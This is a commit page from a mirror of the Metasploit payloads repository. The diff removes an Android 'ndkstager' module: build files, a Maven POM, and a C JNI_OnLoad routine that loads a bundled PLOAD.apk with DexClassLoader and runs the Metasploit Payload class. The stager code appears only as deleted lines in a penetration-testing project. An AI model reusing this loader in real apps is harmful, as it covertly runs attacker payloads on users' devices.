1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

remove ndkstager

This commit is contained in:
Tim W 2018-07-06 18:12:52 +08:00
parent 18ed237c1d
commit 73a6dc29ba
5 changed files with 0 additions and 177 deletions

View File

@ -1,8 +0,0 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := ndkstager
LOCAL_SRC_FILES := ndkstager.c
include $(BUILD_SHARED_LIBRARY)

View File

@ -1,3 +0,0 @@
APP_ABI := armeabi
APP_OPTIM := release

View File

@ -1,65 +0,0 @@
#include <stdio.h>
#include <string.h>
#include <jni.h>
#include <fcntl.h>
#include <android/log.h>
#define MAX_PATH 260
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
{
JNIEnv *env;
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
{
return -1;
}
char cmdline[MAX_PATH];
char stage_file[MAX_PATH];
char file_dir[MAX_PATH];
snprintf(cmdline, MAX_PATH, "/proc/%d/cmdline", getpid());
int r = 0;
int fd = open(cmdline, O_RDONLY);
if(fd == 0) {
r = 0;
} else {
r = read(fd, cmdline, MAX_PATH-1);
close(fd);
if(r < 0) r = 0;
}
cmdline[r] = 0;
snprintf(stage_file, MAX_PATH, "/data/data/%s/PLOAD.apk", cmdline);
snprintf(file_dir, MAX_PATH, "/data/data/%s/", cmdline);
jstring file_path = (*env)->NewStringUTF(env, file_dir);
jstring jar_file = (*env)->NewStringUTF(env, stage_file);
jstring class_file = (*env)->NewStringUTF(env, "com.metasploit.stage.Payload");
jclass dex_class = (*env)->FindClass(env, "dalvik/system/DexClassLoader");
jclass class_class = (*env)->FindClass(env, "java/lang/Class");
jobject class_loader = (*env)->CallObjectMethod(env, class_class, (*env)->GetMethodID(env, class_class, "getClassLoader", "()Ljava/lang/ClassLoader;"));
// Load the payload apk
jobject dex_loader = (*env)->NewObject(env, dex_class, (*env)->GetMethodID(env, dex_class, "<init>", "(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V"),
jar_file, file_path, file_path, class_loader);
jclass payload_class = (*env)->CallObjectMethod(env, dex_loader,
(*env)->GetMethodID(env, dex_class, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"),
class_file);
// Call Payload.startInPath();
(*env)->CallStaticVoidMethod(env, payload_class, (*env)->GetStaticMethodID(env, payload_class, "startInPath", "(Ljava/lang/String;)V"), file_path);
(*env)->DeleteLocalRef(env, jar_file);
(*env)->DeleteLocalRef(env, file_path);
(*env)->DeleteLocalRef(env, class_file);
(*env)->DeleteLocalRef(env, dex_class);
(*env)->DeleteLocalRef(env, class_class);
(*env)->DeleteLocalRef(env, payload_class);
return JNI_VERSION_1_4;
}
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
{
}

View File

@ -1,100 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-AndroidNDKStager</artifactId>
<version>1-SNAPSHOT</version>
<name>Android NDK Stager</name>
<properties>
<deploy.path>../../metasploit-framework</deploy.path>
</properties>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>2.3.3</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<sourceDirectory>src</sourceDirectory>
<pluginManagement>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.2.1</version>
</plugin>
</plugins>
</pluginManagement>
<plugins>
<!-- Disable the default-jar behavior (phase is nulled) -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.4</version>
<executions>
<execution>
<id>default-jar</id>
<phase/>
</execution>
</executions>
</plugin>
<!-- Execute the ndk-build command -->
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.2.1</version>
<configuration>
<executable>${android.ndk.path}/ndk-build</executable>
<arguments>
<argument>APP_ABI=armeabi mips x86</argument>
</arguments>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>exec</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<tasks>
<copy todir="${project.basedir}/../../${deploy.path}/data/android/libs">
<fileset dir="${project.basedir}/libs" />
</copy>
</tasks>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -60,7 +60,6 @@
<modules>
<module>androidpayload/app</module>
<module>androidpayload/library</module>
<module>androidpayload/ndkstager</module>
</modules>
</profile>
</profiles>